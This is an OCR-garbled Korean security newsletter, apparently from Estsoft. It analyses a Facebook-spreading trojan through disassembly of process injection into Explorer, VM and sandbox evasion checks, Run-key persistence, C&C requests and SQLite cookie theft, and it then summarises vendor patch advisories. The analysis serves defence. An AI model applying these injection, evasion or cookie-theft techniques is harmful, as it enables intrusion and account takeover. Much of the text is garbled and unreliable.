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4 NEW Trojan.Generic.11469137 Trojan 1,381
5 NEW Gen:Variant, Adware, Symmi,42600 Adware 1,256
6 NEW Gen:Variant.Adware Graftor,142820 Adware 1,023
7 NEW Trojan.Clicker-VB Trojan 967
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[d32]Y¥Ic et HHE
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27} opy Y
ctezE

Explorer Image
Hijacking

OpIIR! EX(zxcvbybs)

Asdd CEIX=bs!
x|~ E2| dA] O| AL 37| «F
=
77| 7|8 4
Cac S &
AR B &5
b
x| )
37475 44 e 9%
[ =]
T
ofg Ac g9
AR S

.1

1

Dim HHFJJTUU
HHFJJTUU = chr( 2990-2911 ) &
chr( 215930/1963 ) &
chr( -175+207 ) &
chr( -2892+2961 ) &_
chr( 2315-2201 ) & _
chr( 341772/2998 ) &_
chr( -1254+1365 ) &_
chr( 564186/4949 ) &
chr( -4168+4200 ) &_
chr( -2862+2944 ) & _
chr( 3601-3500 ) &
chr( 317170/2758 ) &
chr( 218673/1869 ) &_
chr( -3344+3453 ) &
chr( 1587-1486 ) &_
chr( 8544/267 ) &_
chr( 201-123 ) &
chr( 379457/3757 ) &_
chr( 408480/3404 ) &_
chr( 21460/185 ) &

(23 3] 2= EoM H=stE ASEE

ES TSﬂﬂ' %IZ;"_}%QE:[_,{-' copyright by Estsoft Corp.All rights reserved.
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AFHTACE HO|AS HAKIE S REEH, VBS, Jar ATZER FHEICE ALEX
SIS MsH5HA| it

:T:eri_ oL IIOY| =

L} e
I_ | = - |
[Lto| SRS DIEE HIAS His|0) TA TES 2145

Uﬁ i
WJJ
e[

On Error Resume MNext
Randomize

Dim tmpDir: tmpDir = "C:¥temp"

Dim tmpFileName: tmpFileName = getName(int(rnd * 10) + 5) & "." & getName(2)
Dim pepeSource

Dim selfLink

[0 4] 253518 ASRE

“Ctemp” sifg ZZ0 241 HIS oA =0 T3

H
0
p'y
i
N
=
1o
mjo
)
MO
i
EL
El
ke
oL
%
i

uto
r_l'F
rW
g
=
nE
0
=
>
Pal
o
N
2
1
=2
&
o

Fm FX4(zxevb.dll)
push [ebp+var 28]
call Get_Disk_SerialNumber ; HDDZ Al2|E EEE FSEHC
pop ecx
push offset unk_1068358EB
push offset asSp ; "oSP*
push offset Name
call [ebp+var 28]
add esp, OCh
push offset unk_100358ED
push offset aSl ; "%sl"
push offset byte 10035900
call [ebp+uvar 28]
add esp, BCh
push offset aE s B
push offset NHame
call sub_10082600
pop ecx
pop ecx
push offset aE ; e
push offset byte_10035900
call sub_10002600
pop ecx
pop ecx
push offset Name s lpHNHame
push 1 : bInitialOwner
push §] ; lpMutexAttributes
call ds:CreateMutexn

[33 5] BS54 YX H3 3=

AlalH=] PC 2| HDD Al2|E MEE 53510 Mutex2 MA6HT, 0|2 7|HIO 2 SE Alsig HIX|SIC}
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push ebp
mov ebp, esp
push offset aKernel32 dl1 0 ; "kernel32.dll"
push offset aCreateprocessa ; "'CreateProcesshA”

call LoadLibrary_GetProcAddress
push [ebp+arg B8]

Xovr ecx, ecx
push [ebp+arg_4]

push ecx

push ecx

push CREATE_SUSPENDED

push ecx

push ecx

push ecx

push [ebp+arg_ 8] > Explorer
push ecx

call eax

[32 6] Explorer Z2MH|A MM TS

push 8 ; lpNumberOfBytesWritten
push 4 ; nSize

lea eax, [ebp+Buffer]

push eax ; lpBuffer

mov eax, [ebp+Context. Ebx]

add eax, 8

push eax ; lpBasefAddress

push [ebp+hProcess] ; hProcess

call ds:WriteProcessMemory

mov [ebp+Context. Eax], 408BF1h ; // Explorer [ &2 = EXE 2] Entry Polnt 4
lea eax, [ebp+Context]

push eax ; lpContext

push [ebp+hThread] ; hThread
call ds:SetThreadContext

mov [ebp+var 48], eax
cmp [ebp+var_Lu8], O

jz short loc_10061685
push 0

push 12Ch

lea eax, [ebp+Filename]
push eax

push [ebpruar_uk]
push [ebp+hProcess]

push [ebp+hThread] ; hThread
call ds:ResumeThread ; ZT2}|AS &% 5HH DLLE HE=E S22 =CL

call [ebp+WriteProcesstiemory]

add esp, 14h

sub esp, 14h

push 0 ; lpNumber0fBytesUritten

push 4 ; nSize

lea eax, [ebp+var_64]

push eax ; lpBuffer

push 4174180 : lpBasefAddress

push [ebp+hProcess] ; hProcess

call ds:WriteProcessMemory ; // Ct==2C DLL 2| 1IE Z2== Explorer U0 2T DEZ| DataZdd

(23 7] stolxH 7Y 2=

T E = ExplorerE 7161 2YllexeE Allis,

Es TSﬂft Eﬂ%gﬁﬂ;‘d copyright by Estsoft Corp.All rights reserved.
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SO[3t HOZ OYTF=L Image Hijacking 718 5 IAT 74 S PE 2C{Z CHAGHS X112 $351X| 2O, H=2] Aehol Y2 0Jojx|
SIS 814 AT HPE| FAZ S2ASCH 0] BH20] kemel32l, user32dll S AIAE BES0] ST 7|} T2 A0 22p7} s
AEHRIH HijackingE AUHSHCE, 2, SPYE AIAE SZ0IARHAIS0] EIES TAIE/0] T

oFMIR! E A (zxcvh.exe)
W XIS 2 AAE 93

ZZ QI ES2 LIEH0| 2ol U= ArsEX AILE| Tigh P=2lo7| flol 0 7|HSS SHEotH g2 =T A=A §4
E2&[H Sk UL

cmp [ebp+var_4], 800 ; 8003 YISSICH
jge short loc_u4B81126

lea eax, [ebp+Point]

push eax ; 1pPoint

call ds:GetCursorPos

push 10 ; duMilliseconds
call ds:Sleep

lea ecx, [ebp+Point_2]

push ecx ; 1pPoint

call ds:GetCursorPos

mov edx, [ebp+Point.x]

cmp edx, [ebp+Point_2.x]

jnz short loc 401112

mov eax, [ebp+Point.y]

cmp eax, [ebp+Point_2.y]

jnz short loc_481112

(28 8] OteA SEYS OISE A4S B4 B ZE

SIS 8008| YRSk TFHOIA 10ms AIZHS ST 5 HO| OjQA HOIE| QXIS 2E/510] H|TaHT, Hh 2olIA] 0FRAC| SE(I0)
BHHE ZIX|7} EIK| QF=CHR Ru0] S

call ds:GetTickCount

cmp eax, 90006h

jnb short loc 402078
mov ecx, [ebp+var_ 4B8]
add ecx, 1

[23 9] PC &% 0% AlZH &Rl 3

IS 2M A|AH 25|12 5l HEksHA|ZH ZH0)| CHSH 2101 E71S5HK[at 712X O 2 TickCount 242 012510 2El 0|52] AZIE
2015t Rl 2SS},

ESTsoft ;J?_}gﬁg _l_k| copyright by Estsoft Corp.All rights reserved.
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LOBYTE{v@) = check Desktop wallpaper 4 normal windows();
if ( ve )
return 1;
if ( flag_execute_env )
{
if ( *check um enu() )
return 1;
if ( fcheck_user_name() )
return 1;
if ( tcheck_sandbox_folder() )
return 1;
if {( ?check product sandboxies{) )
return 1;
if ( *check_emu_wine() )
return 1;
if ( *check reg bios vendor vbox() )
return 1;
if ( 'check_reg_vmware_bios() )
return 1;
LOBYTE(u2) = check_reg_ubox();
if ( tv2
|| tcheck file vbox()
|| tcheck_reg _bios_vendor_vmware()
|| *check_reg_vmware_umtools()
|| tcheck_file vmouse()
|| tcheck file umfs()
|| tcheck reg scsi vendor_gemu()
|| tcheck_regq bios_vendor_gemu() )
return 1;

b

else
{
if ( 'check_user_name() )
return 1;
if ( ftcheck _sandbox folder() )
return 1;
if ( tcheck_product_sandboxies() )
return 1;
if ( f*check_emu_wine() )
return 1;
if ( f'check_reg_bios_vendor_vbox() )
return 1;
if ( f'check_reg_vmware_bios() )
return 1;
LOBYTE(v3) = check_reg_vbox();
if ( tv3
|| tcheck_file vbox()
|| tcheck_reg bios_vendor_vmware()
|| *check_reg_vmware_vmtools()
|| tcheck file umouse()
|] tcheck file umfs()
|| tcheck_reg scsi_vendor_gemu()
|| *check_reg_bios_vendor_gemu() )
re

¥
return check _I0 port_vmware() || (check INT wvm)();

[8 10] 7heetd &2l 32

12 2ASQ 20| 71 2HERUE 2J0fo}0q, OFF H?= K| 2411 2= 30| S=EI,

Es TSﬂft %aﬁgﬁﬂﬂd copyright by Estsoft Corp.All rights reserved.
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W 2 X[AER| =7}
olils ST = FE A XIS 2™AS Plofl Ot 22 XA EZ] Z20| XS STt

push offset Filename ; "C:WHlserstitumtdDesktopitBudu37bB3B8bb6a8333" . ..
push offset aRegsur323S ; "regsur3d? /s WEsk

lea eax, [ebp+var_168]
push eax s char =
call _sprintf

(23 1] o220 MU0 oiE ALS AIE S8 3=

IO ARE|7| O] XHS st 220 MU0|A =] 2 OjAe| Z2E HIEC.Z Run | SS3IL.

push eax ; cbData
lea edx, [ebp+var_168]

push edx ; lpDhata
push 1 ; duType
push a ; Reserved
push offset aSuchost ; “suchost™
mow eax, [ebp+hKeuy]

push eax ; hKey

call ds:ReqgietValueExA

(23 12] YXIAER| S8 3=

“regsvr32 /s (L2220 It =) 2 XAELS S=EICL

In subkey: HKCU\software\microsoft\windows\currentversion\run
Sets value: svchost = "regsvr32 /s’
With data: “FilePath”

In subkey: HKLM\software\microsoft\windows\currentversion\run
Sets value: “svchost”
With data: “FilePath”

# 2IXIAEL| S5 IHFH0IM FilePath= 2 230 ASEES| IO T HAE 4= QUCt.

W CRC T &l
— = = Es ] L = =|L- T = -

OLYTCE HMEHQI RUIO R (&C MHoto] EMZ S510] £71801 7158 SAfoH 52|7018 CI22 510
UL

push (] ; duFlags

push o ; lpszProxyBypass

push (1] ; lpszProxy

push 1 ; duAccessType

lea ecx, [ebp+szAgent]

push BCX ; lpsZzAgent

call ds:InternetOpend

noy [ebp+hinternet], eax

push a ; duContext

push (] ; duFlags

push 3 ; duService

push a ; lpszPassword

push (7] ; 1952U5erﬂane

Sih
push  offset szServerHame » Ca&CIP
t'l..j

push ed: ; hinternet

call ds:]nternftcunnfctﬂ

Aoy [ebp+hConnect], eax

push (] ; duContext

push B4Z D02 00h ; duwFlags

push (1] ; lplpszacceptTypes

push o i lpszReferrer

push o ; lpszUersion

push offset szObjectHame ; “/index.php"

push a ; lpszlerb

Aoy eax, [ebp+hConnect]

push Bax ; hConnect

call ds:HttpOpenRequesti

Aoy [ebp+hRequest], eax
[23 13] CRC Mt T &2l 3

ESTSﬂﬂ' Qél } =3t EJ_:H copyright by Estsoft Corp.All rights reserved.
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b xd

rob

ASHTLSOIM CRC AMEHO| CHE! A S 2101517] B ‘google.com 0l H4H0] HAKO R QIELI0] S5 QU=X|0) et 2H0I HAIS
JHZICE 0] £ 155 37|22 (RC SIS 484510, ZIC 20,000A12t O[S 7IX| SXt5t & ZREICt

Ft7 5= CRCMHOIAM CH2E7| F XM= 2FH[F| HZ0| THE ZAHE(5.1 2 32 'WindowsXP') & C&C At S-LIA0] Z0

Ofi= 2 HE 8 CRC MHE BLX|= 2XFE0]| 25t ZH0|Ct,

B ENE
1 5.0 Windows2000
2 5.1 WindowsXpP
3 2.2 WindowsServer2003R2orXPB4Bit
4 6.0 WindowsServer2008orVista
5 6.1 Windows7orsrv2008R2
3] 6.2 Windows8orsrv2012
7 7| Ef Win8orgrér
210t 20| SEHIH HEE (R0 HASH: 0I5 FE5181, Fofl 00 LI £7P7Is Mato 2 M M5t 3 S0/3t Image Hijack-
ing 7|HE S0 O123tC) 2t 2HAMEE Y52 H|22] HOE CIREERDY| 2o HE6l= AC = F&ECL
mou ed®, g_pGet_0S_UERSIOHE
push edx

push offset aTarget ; "target"

push offset Buffer

push offset aDispatch ; “dispatch”

push offset byte_ 419058

push offset aProduct_id ; "product_id"”

push offset szObjectHame ; "/index._.php"”

push offset aSTSSSSSSSCEM3d ; "%sThs=Rshis=%shis=%shis=%c&3s=%03d"

mov eax, [ebp+lpszObjectHame]

push eax ; char =

call _sprintf

add esp, 34h

push 8 ; int

mov ecx, [ebp+lpszObjectHame]

push ecx ; lpszObjectHame

push offset szServerHame ; S
call Internet_Read File Logic

[ 14] CRC M B4 § $7} 7155 T122E

push ebp

mow ebp, esp

push offset aDesignedByTheS ; “<*-- Designed by the SkyHet Team —->"
mow eax, [ebp+arg_0]

push eax ; char =

call _strstr

add esp, 8

test eax, eax

jz short loc 483621

mow eax, 1

[22! 15] SkyNet Team signature &¢I

CRC M T2 015 Q{01 HI0Efoll ALK 28t 04% FYRRI SL10] 020X SIQISITY H2ZEH £7} 7|5 exels RHO|
ASHE HiADE SUSHA| Explorer Image Hijacking” R 2 AEHEICE
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opmIR! E 4 (zxcvb.dl)

A ABEIAE 2 HIAXZH oSt 1FES SollA] Lt AFZAS] AES 0lZok=X] 24 ZitE Sl AHE 7|2 Sl

W AZHTH =0

while { 1)
{
timedU{&Tine);
uE = gmtime6u{&Tine);
if { vE=->tm_hour > 1% )
i
if  wH->tm_mday >= 16 }
break;
¥
if { vE=->tm_mday > 16 )
break;

(28 16] & AlZiT 821 3=
2 2IPISS ASE UKD ARZFS SOISHT, 162 ©F 44| 0|52 0127 Tj5S 451K 41 SREIES S0QICH AlSY AZHH7}

= = =
HIAIK| F2s 7[5 71380} ZITEQI H510] GS0l|T S716H 0[2f3 9IS 5H= 2O F S T, AT HEXIZH A0 KK 2
ALRE|QE 7[X|1 2= A0 2 FEFIL,

W EEIOR E HO|AS B4 K SOl

push offdet aSelectMameUalu ; “select name, value from noz_cookies whe' ...
mow eax, [ebp+pszFaceBookCookie]
push eax

call Query_SQLite

[T 17] HO|HZA HO|AS FF| 22

push oFfFset aSelectHameVa_@ ; "select name, walue from cookies where h™...
1l eax, [ebp+pszFaceBookCookie]

push Eax

call Query_SQLite

(28 18] & Ho|AS 77| &2l

push offset alHomepath_@ ; “HOMEPATH™
call ds:GetEnvironmentVariablen

1ea edx, [ebp+FileHame]

push edx

push offset aSCookies txt ; "%sHWCookieskis.txt"
lea eax, [ebp+FileHame]

push eax ; char =

call _sprintf

add esp, ACh

lea ecx, [ebp+FileHame]

push BCX ; lpFileHame
call GetFaceBookCookieFile

[2& 19] IE Ho|AR 27| &9

L 58 77 |= Ho|A=52 XtE =119

5% IS 5 Vi EASHIOOIEA, IE, [D)2] 77|S HQI5H0 HOJAS 7|8 FH=C
OPSHIAIX] FA0I AHR'E $IE0| ULk

HEE HOEIC X, TS0 ZE POIM HOASS HASH 280 UL 25

BI0IAS RM BE &5

Ennkie:{Facehﬁnkhnnﬁie}

push edx ; lpszHeaders

push 1 : int

push offset szObjectName : "/index.php"

push offset szServerMame ; "“‘www.facebook.com'

call Get_HTTPS

[28 20] &5 77|15 0IE HO|AS H& 3E

£S5 77 |= HOJASO| HQ] HO|X| AT 2 ZIHE TS HTTPS T4 OIEICY
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moy eax, [ebp+var_18]

push eax

push offset aHttpsWww fac_1 ; "https://fuwuww.facebook.con/3sw >"
mow ecx, [ebp+uar_A4]

push BCX ; char =

call _sprintf

add esp, BCh
push offset asc_ 49518 ; "<

moy eds, [ebptuvar_4]

push edx ; char =

push offset aFbxwelcomebo_8 ; “fbhxUelconeBoxHane"
mow eax, [ebptuvar_8]

push eax ; char =

call StrCut_Start Middle End

add esp, 18h

mow [ebp+pszUserHane], eax

(28 21] HO|AS /4 0|8 HE &5 3

push offset aFriends ; "“/Friends"
push offset aWww facebook 3 ; “www.facebook.com”
call Get_HTTPS

add esp, 18h

nowy [ebp+var_18], eax

chp [Ehp*uaru1ﬂj, ]

jnz short loc_L4BBY9CH

[T eax, [ebp+lpszHeaders]

push eax 3 void =
call _Free

add esp, 4

xor eax, eax

jmp loc_48C8DC

; CODE XREF: SendMessages_FBFriends+F1Tj
push offset asc_4961EC ; "W ]}~

push offset aList ; HUlistuweie

push offset alnitialchatfri ; “InitialChatFriendsList™
oy ecx, [ebp+uar_10]

push BCX ; char =

call StrCut_Start_Hiddle_End

add esp, 16h

Aoy [ebp+uar_1C], eax

(23 22] HO|AS 27 EE 55 3C

0]0] S& 82 IiZI0IM “fbxWelcomeBoxName™s 7|1E2.2 X2 0|52 Fh=C}. E&t FI7
oy HAXl= 2578 T=0llA TSEl= Z0| ofL2t AL 2 S 5S 7[EC2 TSES &

i —

0% SFEHOZ HAIX| H&0| LR HOH 7| &5 S 52 Z71 0I0{XILE, %482 AXI7} A0 &

W 28 HAX] HS

push ebp

i 8 ebp, esp

push offset alol ; "lol”
push offset g_sz_lol ; char =
call sprintf

add esp, 8

mou eax, offset g_sz_lol

pop ebp

retn

[23 23] 24 HIAIX| "hahaha', "lol" 7|18 3=

menset{g_sz_AttachedFileMame, B, Bx64u);
ud = GetTickCount();
strcat{g_sz_AttachedFileName, &array0fFileMames[2@ = (u0 % B=F)]);
byte 4BBCIE = (GetTickCount{) & OxFFuidél4) % O:A + 4B;
vi1@ = GetTickCount();
Sleep{uif);
byte HBOCIF = (GetTickCount{) & OxFFuidl4) % Oxa + A48;
#11 = GetTickCount({);
Sleep(uil);
byte MLBOC4D = (GetTickCount{) & OxFFuidl) % BxA + A4B;
u2? = (uoid =)sub_ 4A8400(({int)&v18, g_sz AttachedFileMame);
dword 4B2F18 = sub_L488118(55) - 1;
pszsendResult = Send_hahaha_fttachedFile(
{const char =)g_sz_Anti_CSRF,
psz_fbid,
(const char =)pszBodyMessage,
lpszHeaders,

w22,
g_sz_AttachedFileHame,
ul18);

(33 24] 24T C O A% I
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010 S} TIAIX] “lol"E 7150k= 28 &01E 4+ URH, TWEE= HAX WE2 HR2EE & HE0 Tk -850 X017

oI +
2LCk. (‘hahaha’, “ol’, 7[EH S5) 3t HAIXI} EHEO| ST 2 TI0] Bl BAEIES T8tk

4EBE

Ho|AS HAXIE Set AT E SAS A0 XL, HIUE STt A0 2H &< ASAHFE ZH0| A4EE + U= A0

Sol XS, OS] 2XL, Wit 22 ZF OlohetAZt fi= EII0A LES HE7| =20 DfcA 25Tt F2IF 7|1S0]H

TS Tl = AACE 22Lt OfH HO|AS AIHIAX[2] L AlF2| Tig

oF T SUA SENS = T | W20 ARSXALe] =207}
2foliX| 1L, A7t iKX= TE 2 AFES 7KL ULt & = AL TS| B2 ofi s ASZ =0 Tist LisHA= =l=lX]

0
U, Ho|AF £2 02t ZXIE AUX[SIHT 2014 62 ZHIH St o SAS RHHRICHT S=RICT,

rok
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—‘?—_IO|EO Ol‘IT

2oF0| &2 TOP Ol

- POS TH47| 824 AlS51E B|B2) ALS )
X2 ASTIE JHUHS FISHSE X 4 81, POSS S3t YHQES U XIS | 2ol ASSIE wajo] XA 25317t 2201 POS
HOIEZETZOIS HiE SN, 2RUSHS 78 015 SIS DE POS 7|50 S OIS B3t 1A EIIAE 271 Aozt
SIRCE

- HS Alo|H ZEZ 1

78 3%, FHEet HE7t ET| M=EH 532 AT 34| Wkl 81 22| FR0il it =ZE X MOHZA BHMIE 2=t 2= 211, 0|2
9717 vl TSl SR, Stm=d -0 MERH SoI0| AR HES SH2 AA| 371 w228, Y= &8 LM B s /p M 2
AO|HESAS 2t A= O3t U,

-320 443 HE U RE
7Y, 2% 1AIRE C=2 L YA |ENIM L 22121 ZHIZE HE|EX AH0|E MY HE FoFH1}t L DRM HIE 2E HEEX £2fH 52
0|88t 3.20 2T E BE0| RAL|UC OfH0| RAE AdTZ s HOMHIEE 22l617| {50 225 ARSI, 00 22H&AI= 3.20 FAl
SHAZZI0] fE CHE CHE MOIHE2IE 721511 Qb= 20| 07 [ek= 250] M7 [=| L QUCY,

~ QAI ZOIO|= ZA|

15, OIS SABAHE HRIA R RE0 IHE DHHEES 23} olo| UHOZ QAI7|ito] BOIRISA MHIAQ AntEQ!
SNGIZLL ADIEQIS'S ADIEZ0| YA UZ0N BRAUSHES XIYOIL HAMBE SHEH, ADIEE Q44243910
SH7HEIHS510] 2O ST M2 KIS

- JQIEEH S 2t S-S 20| TEj= 27T
ZEZIIBO| WIS RS QUISID FCHATII0| ENSE HIAT = L0 Bi7) TIXPEE A2 J1H0I0| 220 2T 5|0)E Saja
SHE AJSHZIO] 2P R HHe Relo| MAPYET [EASIS SEIDNCH 4REH0F 511, 2} 8137 | HEAJAEI] Kiof o4, (ISAISIS Mg
O[atiaHoF St

- Y 2{) S25| SHOIX| %4/ 52, 122102 JHOIHE Q5
S8 SHOIX| HIZ M2 F70| shE] 7H2IEE 7t REEIICE 0| REE 7HRIHE 252 3|20}0|C], 0], O|H|Y, RLHEHS,
T, HEsHHS, RM(EE), 4EEd S0\, FUHS= RELIK| LUC

- 2IS %, ISMS,PIMS,PIPL S&fet ISMS-P 414 =71
USE LIS HE ESERHA(SMS), JHE 2 H SE2IHAIPIMS), ZHIEE B SQISHIPIPLR| S8HE SRS 3 HE E 52 AT
QIEH|A= ISMS, PIMS, PIPLS0| 9120, 7|9MEHS £FEH 0[2t= SEHS 71X|1 ULt i QISHAISS SAF0| 20t 0 QIS HHotok
x| DSk A7t B2 52| ZHIES sHZstX}, 7[ZEQUSHAIE S& e ISMS-POHE)ES AHEE AH[=02t $RiC
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Microsoft 7& ™7| E2I HH[0|E

- Internet Explorer 5% E2t §0[0|E(2975687)
0| £t AHIO|E= Internet Explorer?] S7HE! FoFF 1710t HISIHE E 0E FPA 23242 SHAEILICH 712 MZisH FH 2 AFEXPL Internet Ex—
plorerE AtE5I0] Ep51A ZEE 8 HO|XIE & A% &4 I AUS 518 5 USLICL FFE 2480 58t SAXt= o ArEAIeL SYet
Hets g2 o= UsUT AR CHE ALK} HBH0| KA & AFEe| 1242 Xt TS 2 Zfsh= 1240 HieH B XA ZsLC

- Windows Journal2| F|4ZHC =2 QI5t 2 T E 413l FX|H(2975689)
O] £t AHHI0|E= HIS/WELZ H 1E Microsoft Windows2| FUES SHZEILICE O] FAEH2 = Qs AMEXZ T S0 £EE Journal IS
E 4% ¥4 TC 0| 5182 4= USLCE AARI0| CHE ARZAF 0| HA| T+ E APER MEAt= )Xt HTHCE E5H= ARZAL0| HIgH
2k HA| s,

- 3ot 7|HEQ| £AUMO 2 QISH S AE EXIT(2975685)
0] E2t HH|0|E= HISZHH2 E &2 11E Microsoft Windows2| #2472 sHARILICE 0] FIAHLE Qs SHAP 2 FE 4 T2 M| A0|A
FotHE Eal 34t 7IHE(0SK)E Mgl TA AARI S46pH Z&E Z2THE P2 ET AP Mot 450| 518E 5= USLICH

- AFD(Ancillary Function Driver)2| FfFH2 2 Q1o Het & EX|H(2975684)
0] 0t I0|E= HIZHEC R B IE Microsoft Windows®] FIOFHS SHZBILICL BZXPH AIARI0) 21250 S461H ZXE S8 D278
A F 0] IO QI3 H3H A50| S 4 UBLICE 0] HOS oIStR BHAP| RE% 202 X2 SYS 7K1 242 2128 +
QA0{0F LT

- DirectShow?2| FAEHCZ i._ Hst 45 EHIE(2975681)
O] 2t HH0|E= HIS7HE L= B 11E Microsoft Windows2| FAES sHEEILICE 0] FAYEC = Qo SHAP I R2 FEd Z2MANM CHE
FOPHIE o183 3 0] oMM S 2128 AIBRIC| HEAE0IN SA5pH EXE ACE AME 242 et AB0| 51 + YBLICL 72X
Windows 8 2 Windows 8.12] Z|4 2213 He|RE SlA2 SiE HS DE(EPM)Z HSELICE O[S S0 Z]4! Windows EFESI0|A BIX| ZISt=2l
Internet Explorer 11 HR}SXE AIR5H= D22 7| X0 2 SIS H5 DES AREILICH SAIE 85 DES 64H|E AJASI0IA 0] FoFxe)
282 AP I B £20| 2 4 i 13 EOHESE ASEILI

- Microsoft Service Bus2| FYHE 2 QIst MH|A HE ZXi|F(2972621)
0] 22t HH|0|E= Windows Server Microsoft Service Bus2| 37HE FI2H 1212 SHASILICE 0| FUHE QI ¥ QIS5 E SHXP &
AAE E51H ZZ2H= AMQP(Advanced Message Queuing Protocol) HIAIX| A|EAE HUji= T2 72 PHS0] MSHs A MU|A HEZG
SAISE 2= QIELICE Windows Server& Microsoft Service Bus= Microsoft 2 ||t &7H HMISEIX| SESLICH BES B FUSH A|ARIS] AL
TIX Microsoft Service BusE CH22 Eoff X 2 7148 2 71 M5 HE (Y QUSM)E CHE AEXI2L SRH0F 2iLCt,

- o &
Windows UpdateE 5L Microsoft 22 SX| 29f ALO|ENIM sy FAES2 7HEHL x| HAS U= B &+ ASULL

o
il

- http://technet.microsoft.com/ko—-kr/security/bulletin/ms14-jul

08
HO

: http://technet.microsoft.com/en-us/security/bulletin/ms14-jul
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Adobe 72 7| HOI AHH|0|E
Adobeiit= Adobe Flash Player0i| &ts = E %'El‘i—’.*’.%% offZgh 22t YO|0|EE WH. 2 BT AI8XA= 2fdIE AHO| Fefet =+
UL 2 SiZPH| Tt =LK Z HHO[E AL
- ANHE
- Adobe Flash PlayerOi| M EHAi5H= 37029 oS siidst=s HOf YHI0|EE wH
- HE S22 0]0E 4= = JSONP callback APl 84 Z|FE(CVE-2014-4671)
- 59t 23] #|9FH(CVE-2014-0537, CVE-2014-0539)

- Sl ZEY
2, W 2lsA 22| Adobe Flash Player AtEX} : Adobe Flash Player Download Center(http://get.adobe.com/kr/flashplayer/)of|
AiEol zL HEs AX[etAHLL AtF RCI0|1ES 01Est §180|=
- UE20|= 21H2| Adobe AIR AHEXL : Adobe AIR7E AX|E UEZ0|E Z0|A ‘T2 (0] 2E0 B — My ME] — L 0HE2|H|0]4 el
— Adobe AIR IEE0|E |4l HES 2 AH|0|E 517 {Lt XS HH|0|EE 518610 A140|1=
- Adobe AIR SDK AtEX} : (http://www.adobe.com/devnet/air/air-sdk-download.htm)0ll 2+23t0{ Adobe AIR SDK A1 HEHZ AX|

- EAO|E
http://helpx.adobe.com/security/products/flash—player/apsb14-16.html

Cisco, Apache Struts2 HZ{TE AlH F| & HOF AHGH[0|E #H11
CISCOft= Apache Struts2 AXEHES Telol= Higwt0l| s F= FUHS ozt 22t

IIE

HOIES X

- SMIEE
3= 4517 212 OGNL(Object Graph Navigation Language) EAIS FfF0| F& = AL &S 4R HHIE MM SS
TEAE RIS

- ofi &
Z|OFX0| BHSH Cisco AT EQ7F M= Cisco 2|9 SUXH= SHHEI= ZHTAIO|E0| HA|E|0] Q= ‘Affected Products’ 2 ‘Software Ver-
sions and Fixes' LSS &01510] T{X| HE

- &ILAOIE
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140709-struts2

Fra S/ B 28 HL

2T 2OF2E0] OIESt S77|8 HE22 AP, 31 E 7, =885 SFI0t 22 Tfol Al 2, SAA= 2R1EE0| DlEst
7|2/ DNS MHIE #2010 FH2I QEA 48 UHoIHE SHAX 2E0l =2 7 A [ER 75

- SHEE
s AHGRH SB10| £3| ot

- 22 At Ho|X] B|2H S 23 1 SF77| ALE H BIEA| EE, <Al S+2A8 =8t 8Atd| 0|42 #d|At 0|2 E 28e A=
MEZQ7|o HUHE MY DM ZQT|2 AIRE AL WPAz{wl—Fl Protected Access) AFR X} QIZHWAIS M5 AR, AL S42AE

Zgfet 84| Ol IAAE AES Tl
a7/ H482 71s aiH|
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% SR/ 2o WY
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MEHF-) REZZOH Y EX D20 ) HH I=EOE
- Windows E"'—'. 7
| A7
ipconfig Z 712 HO|ESIO7t A U= FES FO0MM &2l
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- stz
% S/ HiZAE DiwE 83

- HIE|A T 2|0} : http://www.netiskorea.com/atboard_view.php?grpl=news&grp2=notice&uid=8156

- Q17|01 : http://www.netgear-support.co.kr/Support/at_SingleBoard/support_faq_list.

- Z4 37| 29 “ S57| 9S ¥ e iiRgT &

+ SUEMHRI(NTP) : http://www.nettop.co.kr/ ) SXIAE ) “SR7IE 0|&8 A 54 UX 2" &1

- OE23 © http://www.davolink.co.kr/board/board.asp?chrBType=NOTICE& pageMode=READ&bIndex=5914&menuSeq=22

- O&l3 : http://mydlink.co.kr/2013/notice/notice_detail.php?no=63&code=mydlink_notice_2009

- CIX|EE(WeVo) : http://www.iwevo.co.kr/board.php?BID=board01&GID=root&mode=view&adminmode=&UID=55&CURRENT_PAGE
=1&BOARD_NO=37&SEARCHTITLE=&searchkeyword=&category=

- SYAHEEEAZIO) : http://myzio.net/zio/pds/notice_security.pdf

- OHLIAH|O|EQHM|(ANYGATE) : http://www.anygate.co.kr/pub/bbs/content.asp?table=bbs_01&multi=bbs_notice&idx=529&visited=14
25&page=18&startpage=1&search_1=&keyword_1=&list_pagesize=20&list_file=/pub/bbs/default.asp

- SLZ2 : http://www.eunicorn.co.kr/kimsboard7/bbs..php?table=unicorn_fag&query=view&uid=1036

« EFM(ipTIME) : Http://www.iptime.co.kr/~iptime/bbs/view.php?id=faq_setup&page=1&ffid=&fsid=&dffid=&dfsid=&dftid=&sn1
=&divpage=1&dis_comp=&sn=off&ss=on&sc=on&keyword=A=&select_arrange=headnum&desc=asc&dis_comp=&ng_value=
&x_value=&no=583

- O|XHIFHIFHEIANEXT): http://www.ez-net.co.kr/new_2012/customer/userguide_view.php?cid=&sid=&goods=&cate=&q=~&seq=
75&PHPSESSID=b7cbd945f0fbf81cc44542f84c4a6d53

- E|OZ3: http://www.tp-link.com/kr/article/?fagid=666

- IHE|=(Axler): https://www.axler.co.kr/ ( SAIALE -) “[SXI|MUAOEGHE) & T4 E0H o] 27 &3 1)

2014'A 74 Oracle Critical Patch Update 21
Oracle Critical Patch Update(CPU)= OracleAl2] HISS CHHOE Cf=0| HOt IHX|E WHSH= £Q
Oracle CPU YT 0%, £t AT LS| EFO = QIst O[sH7 | OflAlkl= Hf Oracle MIS2| THE FIFH0|

O

St IHXIS HIS

ro

1

- SMEE
20144 72 Oracle CPUOIA= Oracle RFAF H|Z2| HOHE|QFK 1137104 CHSH IHX|2 LiEEt
B4 9 22 A2 So6l0] Fofet MHE SHst=H ABE 715740] U= FUES 81510 DB 7HE-d X 7|2E/FEHN FEHE E+ U
Ford &40

X% G te AR

- Oracle Database 11g Release 1, version 11.1.0.7 Database

- Oracle Database 11g Release 2, versions 11.2.0.3, 11.2.0.4 Database

- Oracle Database 12¢ Release 1, version 12.1.0.1 Database

» Oracle Fusion Middleware 11g Release 1, version 11.1.1.7 Fusion Middleware
« Oracle Fusion Middleware 12c Release 1, version 12.1.2.0 Fusion Middleware
- Oracle Fusion Applications, versions 11.1.2 through 11.1.8 Fusion Applications
- Oracle Glassfish Server, versions 2.1.1, 3.0.1, 3.1.2 Fusion Middleware

- Oracle Traffic Director, version 11.1.1.7.0 Fusion Middleware

